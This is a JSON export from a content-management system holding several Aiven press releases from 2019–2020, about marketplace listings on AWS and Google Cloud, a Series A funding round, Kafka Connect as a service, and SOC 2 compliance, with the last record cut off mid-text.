{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"1UY7ZgAIY4nKOXGfvX5kJq","_rev":"5iTZEBNHx5PwgJLwP8alm2","_type":"pressRelease","_updatedAt":"2022-12-02T12:21:13Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company that combines the best open-source technologies with cloud infrastructure, announced today that it is participating in the launch of Professional Services in AWS Marketplace. Amazon Web Services (AWS) customers can now find and purchase professional services from Aiven in AWS Marketplace, a curated digital catalog of software, data, and services that makes it easy to find, test, buy, and deploy software and data products that run on AWS. As a participant in the launch, Aiven is one of the first service providers to quote and contract services in AWS Marketplace to help customers implement, support, and manage their software on AWS. To learn more about their AWS Marketplace listing, visit [here](https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b).\n\nAs organizations migrate to the cloud, they want to use their preferred software solutions on AWS. AWS customers often rely on professional services from Aiven to manage their cloud data infrastructure. Until now, AWS customers had to find and contract professional services outside of AWS Marketplace and could not identify software and associated services in a single procurement experience. With professional services from Aiven available in AWS Marketplace, customers have a simplified way to purchase and be billed for both Aiven’s managed open source data technologies as well as enterprise support packages in a centralized place. Customers can further streamline their purchase of software with standard contract terms to simplify and accelerate procurement cycles. \n\n“Aiven is proud to support professional services in AWS Marketplace,” said Hannu Valtonen, Chief Product Officer at Aiven. “Our team is dedicated to helping companies innovate and migrate to the cloud by providing managed enhanced open source data solutions. Aiven’s enterprise support packages complement the Aiven services already available in AWS Marketplace.”\n\nAbout Aiven - Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nTo learn more about Aiven, visit [https://aiven.io/](https://aiven.io/) or [follow Aiven on Twitter](https://twitter.com/aiven_io).\n","content":[{"_key":"jrkdycCW","_type":"block","children":[{"_key":"4ffded919bbd","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 3, 2020- "},{"_key":"WdnjEA0G","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"Omuxpfnc","_type":"span","marks":[],"text":", a leading technology company that combines the best open-source technologies with cloud infrastructure, announced today that it is participating in the launch of Professional Services in AWS Marketplace. Amazon Web Services (AWS) customers can now find and purchase professional services from Aiven in AWS Marketplace, a curated digital catalog of software, data, and services that makes it easy to find, test, buy, and deploy software and data products that run on AWS. As a participant in the launch, Aiven is one of the first service providers to quote and contract services in AWS Marketplace to help customers implement, support, and manage their software on AWS. To learn more about their AWS Marketplace listing, visit "},{"_key":"e10QPrgB","_type":"span","marks":["m12501275956496"],"text":"here"},{"_key":"vMYIo7Au","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m12501275956496","_type":"link","href":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b"}],"style":"normal"},{"_key":"uekynnWP","_type":"block","children":[{"_key":"L0OabhYv","_type":"span","marks":[],"text":"As organizations migrate to the cloud, they want to use their preferred software solutions on AWS. AWS customers often rely on professional services from Aiven to manage their cloud data infrastructure. Until now, AWS customers had to find and contract professional services outside of AWS Marketplace and could not identify software and associated services in a single procurement experience. With professional services from Aiven available in AWS Marketplace, customers have a simplified way to purchase and be billed for both Aiven’s managed open source data technologies as well as enterprise support packages in a centralized place. Customers can further streamline their purchase of software with standard contract terms to simplify and accelerate procurement cycles."}],"markDefs":[],"style":"normal"},{"_key":"cJJBLFF2","_type":"block","children":[{"_key":"Gdw4dccO","_type":"span","marks":[],"text":"“Aiven is proud to support professional services in AWS Marketplace,” said Hannu Valtonen, Chief Product Officer at Aiven. “Our team is dedicated to helping companies innovate and migrate to the cloud by providing managed enhanced open source data solutions. Aiven’s enterprise support packages complement the Aiven services already available in AWS Marketplace.”"}],"markDefs":[],"style":"normal"},{"_key":"qaSVVS7O","_type":"block","children":[{"_key":"bBvbUIBc","_type":"span","marks":[],"text":"About Aiven - Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"WunLztup","_type":"block","children":[{"_key":"NbRW0yHI","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"6caEFVNh","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"TIrukVTj","_type":"span","marks":[],"text":" or "},{"_key":"dhOU5s50","_type":"span","marks":["m17467540486251"],"text":"follow Aiven on Twitter"},{"_key":"KO0TYQd3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-12-03T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: Amazon Web Services customers can now purchase professional services from Aiven in AWS Marketplace. Using your existing account makes procurement easier.","metaTitle":"Aiven's professional services now in AWS Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-helps-to-support-the-launch-of-professional-services-in-aws"},"subtitle":"Aiven Press Release: Amazon Web Services customers can now purchase professional services from Aiven in AWS Marketplace. Using your existing account makes procurement easier.","title":"Aiven's professional services now in AWS Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"28ssLTtkhNM7Ora6MEYGeg","_rev":"0rD6Phxg3duzic15oE7RKO","_type":"pressRelease","_updatedAt":"2022-12-02T12:18:21Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company combining the best open source technologies with cloud infrastructure, announced today that its products will be available on Google Cloud Marketplace, starting with Aiven for Apache Kafka. This will enable customers who use Google Cloud to simplify their procurement process when purchasing Aiven products.\n\nCustomers who purchase Aiven services through the marketplace will receive a single invoice from Google Cloud, rather than one from each service provider. Even more, they will also be able to apply the cost of those services purchased there toward their cloud spending commitments with Google Cloud.\n\n“We’re excited to partner with Aiven to make their capabilities in open-source data pipelines available on Google Cloud Marketplace, simplifying aspects like deployment, management, and billing, and helping customers get more value out of their data on Google Cloud,” said Manvinder Singh, Director of Partnerships at Google Cloud.\n\nTo that end, Aiven plans to offer their full complement of services on Google Cloud Marketplace. Opening this new channel provides access to a new segment of potential customers to the open-source provider, customers who otherwise might not have been able to access Aiven's products due to procurement rules that add just enough friction to prevent their adoption.\n\n“As we’ve gained credibility with larger and larger organizations, we’ve seen that a major hurdle in their adoption of our services are the difficulties they face in navigating their procurement processes,” said Hannu Valtonen, co-founder and Chief Product Officer at Aiven. “With our availability on Google Cloud Marketplace, we remove that obstacle for many, staying true to one of our founding principles, ensuring access to advanced, cloud-based open-source data technology.”\n\nCompanies including OVO Energy and Adeo run Aiven services on Google Cloud to enable their engineering teams to build and support the products that improve business outcomes.\n\nTo learn more about their Aiven for Apache Kafka Google Cloud Marketplace listing, visit [here](https://console.cloud.google.com/marketplace/details/aiven-public/aiven-for-apache-kafka?pli=1).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io/) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"77069e431825","_type":"block","children":[{"_key":"7a7f0c0cf9b6","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 14, 2020- "},{"_key":"Y0LffQLK","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"RuPWcXSh","_type":"span","marks":[],"text":", a leading technology company combining the best open source technologies with cloud infrastructure, announced today that its products will be available on Google Cloud Marketplace, starting with Aiven for Apache Kafka. This will enable customers who use Google Cloud to simplify their procurement process when purchasing Aiven products."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"cpaqQwbo","_type":"block","children":[{"_key":"XWRAr4yW","_type":"span","marks":[],"text":"Customers who purchase Aiven services through the marketplace will receive a single invoice from Google Cloud, rather than one from each service provider. Even more, they will also be able to apply the cost of those services purchased there toward their cloud spending commitments with Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"mhxt2tZg","_type":"block","children":[{"_key":"jNFKTpwb","_type":"span","marks":[],"text":"“We’re excited to partner with Aiven to make their capabilities in open-source data pipelines available on Google Cloud Marketplace, simplifying aspects like deployment, management, and billing, and helping customers get more value out of their data on Google Cloud,” said Manvinder Singh, Director of Partnerships at Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"smFdYzXX","_type":"block","children":[{"_key":"edPz7v7O","_type":"span","marks":[],"text":"To that end, Aiven plans to offer their full complement of services on Google Cloud Marketplace. Opening this new channel provides access to a new segment of potential customers to the open-source provider, customers who otherwise might not have been able to access Aiven's products due to procurement rules that add just enough friction to prevent their adoption."}],"markDefs":[],"style":"normal"},{"_key":"qTDf7cJN","_type":"block","children":[{"_key":"zoowWxfo","_type":"span","marks":[],"text":"“As we’ve gained credibility with larger and larger organizations, we’ve seen that a major hurdle in their adoption of our services are the difficulties they face in navigating their procurement processes,” said Hannu Valtonen, co-founder and Chief Product Officer at Aiven. “With our availability on Google Cloud Marketplace, we remove that obstacle for many, staying true to one of our founding principles, ensuring access to advanced, cloud-based open-source data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"lZrqOZzK","_type":"block","children":[{"_key":"etM7OFwS","_type":"span","marks":[],"text":"Companies including OVO Energy and Adeo run Aiven services on Google Cloud to enable their engineering teams to build and support the products that improve business outcomes."}],"markDefs":[],"style":"normal"},{"_key":"aHPM2Rl1","_type":"block","children":[{"_key":"ZUIfO6aR","_type":"span","marks":[],"text":"To learn more about their Aiven for Apache Kafka Google Cloud Marketplace listing, visit "},{"_key":"fznphXmT","_type":"span","marks":["m16422895187523"],"text":"here"},{"_key":"KC3O02pG","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16422895187523","_type":"link","href":"https://console.cloud.google.com/marketplace/details/aiven-public/aiven-for-apache-kafka?pli=1"}],"style":"normal"},{"_key":"9ikvFlOh","_type":"block","children":[{"_key":"yNzaUyUK","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"CWhnsWGR","_type":"block","children":[{"_key":"TCm3scKg","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"eukvtqni","_type":"block","children":[{"_key":"DYwH1Ppo","_type":"span","marks":[],"text":"You can visit "},{"_key":"vVuGYyrS","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"27qW5WBw","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"kU4rmAf0","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"BmVpa0KN","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-10-14T00:00:00.000Z","seo":{"metaDescription":"Aiven helps customers unlock data-driven innovation by continuing to open access to advanced, open-source data pipelines via its listing on Google Cloud Marketplace.","metaTitle":"Aiven services now available on Google Cloud Marketplace"},"slug":{"_type":"slug","current":"/press/aiven-services-now-available-on-google-cloud-marketplace"},"subtitle":"Aiven helps customers unlock data-driven innovation by continuing to open access to advanced, open-source data pipelines via its listing on Google Cloud Marketplace.","title":"Aiven services now available on Google Cloud Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"1yBmCSye78uAO22lQb3Q5x","_rev":"0rD6Phxg3duzic15oE5fk7","_type":"pressRelease","_updatedAt":"2022-12-02T11:41:57Z","body":"__Helsinki, Finland__\n\nAiven has completed an €8 million Series A funding round to enhance its leading cloud data platform with more integrated solutions and to accelerate international growth.\n\n\"We see a tremendous number of companies around the world now implementing their new real-time data platforms in the cloud. The new funding will allow us to better cater to their requirements,” states Oskari Saarenmaa, co-founder and CEO at Aiven.\n\nThe round was led by Earlybird Venture Capital with participation from Lifeline Ventures and Nokia chairman Risto Siilasmaa. Hendrik Brandis, partner and co-founder of Earlybird, joins the Aiven board of directors as part of the transaction.\n\n“Aiven’s ability to outcompete established market players and build a highly capital efficient international business is impressive. We’re eager to become a part of the story and continue growing the company,” discusses Brandis.\n\nAiven launched its data cloud in 2016 with a suite of the best open source data infrastructure services that now include the Apache Kafka event streaming engine and databases such as PostgreSQL and Apache Cassandra. Aiven services cover all the needs of complex internet applications and have earned the trust of a growing number of customers, such as Atlassian, Comcast and OVO Energy.\n\nCommitted to open source, Aiven recognizes the importance of the communities behind these projects and will step up its participation in them. This will mean creating new open source tools such as Kafka connectors as well as participating in feature development and quality assurance of the core projects.\n\nAiven’s mission is to enable developers to focus on their core business and build great applications without worrying about software infrastructure. The next step in this journey is offering more integrated solutions on top of the individual building blocks that are currently available on Aiven’s data cloud, which will allow teams to build what they couldn’t imagine before.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 400 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"5LkOmNL6","_type":"block","children":[{"_key":"0f9e5e4b14be","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 3, 2019-"},{"_key":"ewbAkyj2","_type":"span","marks":[],"text":"Aiven has completed an €8 million Series A funding round to enhance its leading cloud data platform with more integrated solutions and to accelerate international growth."}],"markDefs":[],"style":"normal"},{"_key":"w6I6zV1L","_type":"block","children":[{"_key":"u5lQceiY","_type":"span","marks":[],"text":"\"We see a tremendous number of companies around the world now implementing their new real-time data platforms in the cloud. The new funding will allow us to better cater to their requirements,” states Oskari Saarenmaa, co-founder and CEO at Aiven."}],"markDefs":[],"style":"normal"},{"_key":"yJwijuM1","_type":"block","children":[{"_key":"cSktOvhJ","_type":"span","marks":[],"text":"The round was led by Earlybird Venture Capital with participation from Lifeline Ventures and Nokia chairman Risto Siilasmaa. Hendrik Brandis, partner and co-founder of Earlybird, joins the Aiven board of directors as part of the transaction."}],"markDefs":[],"style":"normal"},{"_key":"ijy3upz1","_type":"block","children":[{"_key":"FBJyS7Tk","_type":"span","marks":[],"text":"“Aiven’s ability to outcompete established market players and build a highly capital efficient international business is impressive. We’re eager to become a part of the story and continue growing the company,” discusses Brandis."}],"markDefs":[],"style":"normal"},{"_key":"dggYt9BE","_type":"block","children":[{"_key":"jhxSQC8E","_type":"span","marks":[],"text":"Aiven launched its data cloud in 2016 with a suite of the best open source data infrastructure services that now include the Apache Kafka event streaming engine and databases such as PostgreSQL and Apache Cassandra. Aiven services cover all the needs of complex internet applications and have earned the trust of a growing number of customers, such as Atlassian, Comcast and OVO Energy."}],"markDefs":[],"style":"normal"},{"_key":"FW0L6sAl","_type":"block","children":[{"_key":"sOiLv5PU","_type":"span","marks":[],"text":"Committed to open source, Aiven recognizes the importance of the communities behind these projects and will step up its participation in them. This will mean creating new open source tools such as Kafka connectors as well as participating in feature development and quality assurance of the core projects."}],"markDefs":[],"style":"normal"},{"_key":"ebNeNsjK","_type":"block","children":[{"_key":"QUiB1AvY","_type":"span","marks":[],"text":"Aiven’s mission is to enable developers to focus on their core business and build great applications without worrying about software infrastructure. The next step in this journey is offering more integrated solutions on top of the individual building blocks that are currently available on Aiven’s data cloud, which will allow teams to build what they couldn’t imagine before."}],"markDefs":[],"style":"normal"},{"_key":"cVFRBEAf","_type":"block","children":[{"_key":"bnQw1i85","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"UFwOtYf3","_type":"block","children":[{"_key":"eZMvSdn1","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 400 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"WiVumV5h","_type":"block","children":[{"_key":"K15TR1gi","_type":"span","marks":[],"text":"You can visit "},{"_key":"Qgdg52mb","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"AqwwIHvb","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"U5gPeHxZ","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"jMWRyvYr","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-05-03T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2019, Aiven has completed an €8 million Series A funding round to enhance its leading cloud data platform. ","metaTitle":"Aiven closes 8 million Series A round"},"slug":{"_type":"slug","current":"/press/aiven-closes-8-million-series-a-round"},"subtitle":"Aiven Press Release: In 2019, Aiven has completed an €8 million Series A funding round to enhance its leading cloud data platform. ","title":"Aiven closes 8 million Series A round"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"2uEyHsYvw98qIEqIbiii50","_rev":"0rD6Phxg3duzic15oE5jr4","_type":"pressRelease","_updatedAt":"2022-12-02T11:44:13Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will now offer Apache Kafka Connect as a service. Featuring enhanced extensibility, Aiven’s Kafka Connect will allow customers to define and configure connectors that reliably and scalably stream data between different systems.\n\nAiven for Apache Kafka currently supports over 20 open-source Apache Kafka Connect connectors, the most of any managed service provider. Aiven’s Apache Kafka platform is an essential component of a scalable, low-latency data pipeline due to its ability to stream messages between various systems. The platform accomplishes this by utilizing Kafka Connect to integrate with those systems.\n\nAs a component of Apache Kafka, Apache Kafka Connect provides customers with a standard application programming interface for integration without the hassle of handling maintenance. Through supporting Kafka Connect, Aiven makes easy integration between systems possible and trivial to set up.\n\nBy integrating Apache Kafka Connect as a Service, businesses will be able to run the connector as a standalone process or as a distributed, fault-tolerant service supporting an entire organization - allowing each channel to scale and work independently.\n\nAiven’s Apache Kafka Connect Service will allow organizations to scale up to a large, centrally managed service supporting an entire organization or scale down to development, testing, and small production deployments.\n\n“Organizations are constantly looking for ways to leverage and extend existing connectors to manage data and decrease time to production,” said Oskari Saarenmaa, CEO of Aiven. “In the past, customers needed to run larger Aiven for Apache Kafka plans to be able to use Apache Kafka Connect, which wasn't optimal. By providing Apache Kafka Connect as a service, users will be able to scale Kafka Connect separately and see more consistent, higher performance from their primary Kafka workloads.”\n\nIn addition, Apache Kafka Connect offers automatic offset management. Harnessing small amounts of information from connectors, Apache Kafka Connect can manage the offset commit process automatically.\n\nThis allows businesses to focus on their operations without being concerned with this error prone part of connector development. By managing all aspects of Apache Kafka Connect, Aiven will enable businesses to scale down, from development to testing, with a low barrier to entry and low operational overhead.\n\n“At Aiven, we strive to offer new services and platforms to provide unmatched support and offer a digestible, easy-to-use experience,” noted Saarenmaa. “We are thrilled to be the first to offer Apache Kafka Connect as a separate service.”\n\nTo learn more about Apache Kafka Connect, visit [https://aiven.io/kafka](https://aiven.io/kafka).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin, and Sydney, Aiven is an ISO 27001 certified, SOC 2 compliant cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"mzKKSdWd","_type":"block","children":[{"_key":"12a241a15696","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 11, 2019-"},{"_key":"ZIo45JBv","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"bX4dc9fI","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will now offer Apache Kafka Connect as a service. Featuring enhanced extensibility, Aiven’s Kafka Connect will allow customers to define and configure connectors that reliably and scalably stream data between different systems."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"qnF72wjH","_type":"block","children":[{"_key":"rz4qoHex","_type":"span","marks":[],"text":"Aiven for Apache Kafka currently supports over 20 open-source Apache Kafka Connect connectors, the most of any managed service provider. Aiven’s Apache Kafka platform is an essential component of a scalable, low-latency data pipeline due to its ability to stream messages between various systems. The platform accomplishes this by utilizing Kafka Connect to integrate with those systems."}],"markDefs":[],"style":"normal"},{"_key":"0szlV3t3","_type":"block","children":[{"_key":"4nk5hVYz","_type":"span","marks":[],"text":"As a component of Apache Kafka, Apache Kafka Connect provides customers with a standard application programming interface for integration without the hassle of handling maintenance. Through supporting Kafka Connect, Aiven makes easy integration between systems possible and trivial to set up."}],"markDefs":[],"style":"normal"},{"_key":"nKf5XjFF","_type":"block","children":[{"_key":"Z4kZhxuG","_type":"span","marks":[],"text":"By integrating Apache Kafka Connect as a Service, businesses will be able to run the connector as a standalone process or as a distributed, fault-tolerant service supporting an entire organization - allowing each channel to scale and work independently."}],"markDefs":[],"style":"normal"},{"_key":"xmFDZJBz","_type":"block","children":[{"_key":"JUms793K","_type":"span","marks":[],"text":"Aiven’s Apache Kafka Connect Service will allow organizations to scale up to a large, centrally managed service supporting an entire organization or scale down to development, testing, and small production deployments."}],"markDefs":[],"style":"normal"},{"_key":"a9nbBqfR","_type":"block","children":[{"_key":"kh4BNgi0","_type":"span","marks":[],"text":"“Organizations are constantly looking for ways to leverage and extend existing connectors to manage data and decrease time to production,” said Oskari Saarenmaa, CEO of Aiven. “In the past, customers needed to run larger Aiven for Apache Kafka plans to be able to use Apache Kafka Connect, which wasn't optimal. By providing Apache Kafka Connect as a service, users will be able to scale Kafka Connect separately and see more consistent, higher performance from their primary Kafka workloads.”"}],"markDefs":[],"style":"normal"},{"_key":"O6Li2TkR","_type":"block","children":[{"_key":"v5rkPuKX","_type":"span","marks":[],"text":"In addition, Apache Kafka Connect offers automatic offset management. Harnessing small amounts of information from connectors, Apache Kafka Connect can manage the offset commit process automatically."}],"markDefs":[],"style":"normal"},{"_key":"Ucn11xWB","_type":"block","children":[{"_key":"bS2iUshM","_type":"span","marks":[],"text":"This allows businesses to focus on their operations without being concerned with this error prone part of connector development. By managing all aspects of Apache Kafka Connect, Aiven will enable businesses to scale down, from development to testing, with a low barrier to entry and low operational overhead."}],"markDefs":[],"style":"normal"},{"_key":"D1ZN20fK","_type":"block","children":[{"_key":"RFgZslBK","_type":"span","marks":[],"text":"“At Aiven, we strive to offer new services and platforms to provide unmatched support and offer a digestible, easy-to-use experience,” noted Saarenmaa. “We are thrilled to be the first to offer Apache Kafka Connect as a separate service.”"}],"markDefs":[],"style":"normal"},{"_key":"ewEdi8lN","_type":"block","children":[{"_key":"xV0dgz0C","_type":"span","marks":[],"text":"To learn more about Apache Kafka Connect, visit "},{"_key":"9VzGx0Ag","_type":"span","marks":["m3354951073646"],"text":"https://aiven.io/kafka"},{"_key":"Eh7KtoFg","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3354951073646","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"70TPPOp2","_type":"block","children":[{"_key":"w64CtCzZ","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"w2ucSuhZ","_type":"block","children":[{"_key":"csUFj90h","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin, and Sydney, Aiven is an ISO 27001 certified, SOC 2 compliant cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"K7WYfYkP","_type":"block","children":[{"_key":"cJ2eH7p5","_type":"span","marks":[],"text":"You can visit "},{"_key":"43L8TZQQ","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"em53fmMN","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"vjGVzdNP","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"RhSJ8mIx","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-09-11T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: We now offer Apache Kafka Connect as a service to make it easier to integrate Aiven for Apache Kafka into your data infrastructure.","metaTitle":"Aiven releases Apache Kafka Connect as a Service"},"slug":{"_type":"slug","current":"/press/aiven-releases-kafka-connect-as-a-service"},"subtitle":"Aiven Press Release: We now offer Apache Kafka Connect as a service to make it easier to integrate Aiven for Apache Kafka into your data infrastructure.","title":"Aiven releases Apache Kafka Connect as a Service"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7npkqgyQ7GmshxU90RRsDt","_rev":"ElrRHx5al3kb1PwLXGfk4d","_type":"pressRelease","_updatedAt":"2022-12-02T11:49:22Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, today announced its Service Organization Control (SOC) 2 compliant status.\n\nInformation Security is a priority for all organizations, including those that utilize third-party vendors to operate key business functions. Developed by the American Institute of Certified Public Accountants (AICPA), SOC 2 requires companies to establish and adhere to strict information security policies and procedures, including the security, availability, processing, integrity, and privacy of customer data. Externally verified SOC 2 compliance ensures that your providers meet this standard and securely manage and protect your data.\n\n“Aiven customers’ information security is our number one priority,” said Aiven CTO Heikki Nousiainen. “Our compliance with SOC 2’s security standards is a testament of our commitment to information security posture, policies and processes, and ultimately, it will help our customers to meet their own security and compliance requirements.”\n\nAiven also holds ISO 27001:2013 certification for its information security management system. The SOC 2 audit process was a natural continuation of Aiven’s ongoing information security management efforts.\n\n“Both SOC 2 and ISO 27001 requires suppliers to ensure security requirements and demands expected by the end customer are met,” added Nousianinen. “We're happy to showcase we can meet the industry’s highest security standards, and continue ensuring best-in-class information security for our customers.”\n\nFor more information about Aiven’s security and compliance certifications, please visit [https://aiven.io/security-compliance](https://aiven.io/security-compliance).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin, and Sydney. Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"qSFfbRRf","_type":"block","children":[{"_key":"6e69d9924167","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 10, 2019-"},{"_key":"TyRtv9ag","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"G6Af27f7","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, today announced its Service Organization Control (SOC) 2 compliant status."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"7MIUnb88","_type":"block","children":[{"_key":"E65CLo6T","_type":"span","marks":[],"text":"Information Security is a priority for all organizations, including those that utilize third-party vendors to operate key business functions. Developed by the American Institute of Certified Public Accountants (AICPA), SOC 2 requires companies to establish and adhere to strict information security policies and procedures, including the security, availability, processing, integrity, and privacy of customer data. Externally verified SOC 2 compliance ensures that your providers meet this standard and securely manage and protect your data."}],"markDefs":[],"style":"normal"},{"_key":"vz7ma7ts","_type":"block","children":[{"_key":"x02mXldG","_type":"span","marks":[],"text":"“Aiven customers’ information security is our number one priority,” said Aiven CTO Heikki Nousiainen. “Our compliance with SOC 2’s security standards is a testament of our commitment to information security posture, policies and processes, and ultimately, it will help our customers to meet their own security and compliance requirements.”"}],"markDefs":[],"style":"normal"},{"_key":"O9mBRSs3","_type":"block","children":[{"_key":"EU8WwYos","_type":"span","marks":[],"text":"Aiven also holds ISO 27001:2013 certification for its information security management system. The SOC 2 audit process was a natural continuation of Aiven’s ongoing information security management efforts."}],"markDefs":[],"style":"normal"},{"_key":"NDiXRLpQ","_type":"block","children":[{"_key":"F0hRkX8i","_type":"span","marks":[],"text":"“Both SOC 2 and ISO 27001 requires suppliers to ensure security requirements and demands expected by the end customer are met,” added Nousianinen. “We're happy to showcase we can meet the industry’s highest security standards, and continue ensuring best-in-class information security for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"s6Ipcndb","_type":"block","children":[{"_key":"fGTSHUgS","_type":"span","marks":[],"text":"For more information about Aiven’s security and compliance certifications, please visit "},{"_key":"r7pHAEr1","_type":"span","marks":["m14664967079406"],"text":"https://aiven.io/security-compliance"},{"_key":"oaHiHnyx","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14664967079406","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"},{"_key":"94SFA6z5","_type":"block","children":[{"_key":"JWo3uETq","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"pJRfcLg2","_type":"block","children":[{"_key":"5iwA5XVm","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, 